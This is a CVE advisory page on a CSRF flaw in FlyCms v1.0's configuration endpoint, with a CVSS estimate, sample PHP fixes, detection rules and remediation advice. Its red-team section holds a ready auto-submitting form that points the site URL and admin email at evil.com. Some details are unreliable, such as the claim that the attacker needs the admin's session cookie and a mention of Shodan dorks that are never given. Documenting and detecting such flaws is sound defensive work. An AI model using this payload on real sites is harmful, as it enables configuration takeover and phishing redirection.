CVE-2023-52074
Executive Summary
CVE-2023-52074 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the system/site/webconfig_updagte component. This flaw allows an attacker to trick an authenticated administrator into executing unintended actions, such as modifying site configuration, without their consent. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the underlying risk is significant due to the potential for full site takeover via configuration manipulation. No public proof-of-concept (PoC) or patch is currently available, and the vendor’s status remains unknown. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but the lack of a patch makes this a persistent threat for any FlyCms instance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FlyCms is a PHP-based content management system. This vulnerability does not directly affect the PHP runtime or common package ecosystems (NPM, PyPI, Go, Ruby). However, administrators should verify the integrity of their FlyCms installation and ensure no unauthorized modifications have been made to the core files, as CSRF could be leveraged to inject malicious configuration changes.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability type (CSRF), a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) – The victim (admin) must click a link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerable component and the attacker’s scope are the same.
- Confidentiality (C): Low (L) – Limited information disclosure (e.g., configuration data).
- Integrity (I): High (H) – Full control over site configuration.
- Availability (A): Low (L) – Potential for denial of service via misconfiguration.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L
Estimated Base Score: 7.1 (High)
Threat Level: High – due to the potential for complete site compromise via configuration manipulation.
Deep Dive & Mechanics
The vulnerability resides in the system/site/webconfig_updagte component of FlyCms v1.0. This endpoint is responsible for updating site-wide configuration settings (e.g., site name, URL, email settings, etc.). The lack of CSRF tokens or origin validation means that an attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to this endpoint.
Attack Flow:
- The attacker identifies a FlyCms instance and determines the admin’s session cookie (e.g., via social engineering or cross-site scripting).
- The attacker crafts a malicious page containing an auto-submitting form or an image tag that triggers a GET/POST request to
http://target.com/system/site/webconfig_updagtewith malicious parameters. - The victim (admin) visits the attacker’s page while authenticated to FlyCms.
- The browser automatically sends the forged request, including the admin’s session cookie.
- The server processes the request, modifying the site configuration as per the attacker’s payload.
Potential Impact:
- Change the site’s base URL to a phishing domain.
- Disable security features (e.g., HTTPS enforcement).
- Inject malicious JavaScript into site-wide headers/footers.
- Redirect all traffic to an attacker-controlled server.
Vulnerable vs. Patched Code
No patched version is available. The vulnerable code likely lacks CSRF protection in the webconfig_updagte handler. A typical vulnerable PHP snippet might look like:
// Vulnerable: No CSRF token check
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$site_name = $_POST['site_name'];
// Update database...
}
A patched version would include a CSRF token validation:
// Patched: CSRF token check
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed');
}
$site_name = $_POST['site_name'];
// Update database...
}
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Target: FlyCms v1.0 running on a local server (e.g., XAMPP).
- Attacker: Kali Linux with a simple HTTP server to host the malicious page.
Exploitation Steps:
- Identify the target URL:
http://target.com/system/site/webconfig_updagte - Craft a malicious HTML page that auto-submits a form:
<html>
<body>
<form id="csrf" action="http://target.com/system/site/webconfig_updagte" method="POST">
<input type="hidden" name="site_name" value="Hacked Site">
<input type="hidden" name="site_url" value="http://evil.com">
<input type="hidden" name="admin_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
- Host the page on a local server:
python3 -m http.server 8080 - Send the link to the victim (admin) via email or social engineering.
- Once the admin visits the page while logged in, the configuration is changed.
Blue Team (Defender)
Detection Steps:
- Monitor for unexpected changes to site configuration.
- Review server logs for requests to
/system/site/webconfig_updagtewith unusual referrer headers. - Implement CSRF tokens immediately (see Remediation).
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri="/system/site/webconfig_updagte"
| stats count by src_ip, user_agent, referer
| where referer!="http://target.com/*"
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/system/site/webconfig_updagtewith unexpected referrer headers. - Host: Modified site configuration files (e.g.,
config.php, database entries). - Logs: Entries showing configuration changes without corresponding admin UI activity.
- File: Presence of unexpected files in the web root (e.g.,
csrf_exploit.html).
Detection Engineering
YARA Rule
rule CVE_2023_52074_CSRF_FlyCms {
meta:
description = "Detects FlyCms CSRF exploitation attempts via webconfig_updagte"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-52074"
strings:
$s1 = "webconfig_updagte" ascii wide nocase
$s2 = "site_name" ascii wide nocase
$s3 = "site_url" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: FlyCms CSRF Exploitation via webconfig_updagte
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the FlyCms webconfig_updagte endpoint with suspicious parameters.
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/system/site/webconfig_updagte'
condition: selection
falsepositives:
- Legitimate admin configuration changes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-52074 FlyCms CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system/site/webconfig_updagte"; http_uri; content:"site_name"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Implement CSRF Tokens: Add a unique, per-session token to all forms and validate it on the server side.
- Validate Origin: Check the
OriginorRefererheader to ensure requests come from the same site. - Use SameSite Cookies: Set the
SameSiteattribute toStrictorLaxon session cookies. - Restrict Access: Limit the
/system/site/webconfig_updagteendpoint to specific IPs or require re-authentication.
Long-Term Fix:
- Upgrade to a patched version of FlyCms if/when available.
- Conduct a full security audit of the application.
Workaround:
- Add a custom middleware that checks for CSRF tokens on all POST requests.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.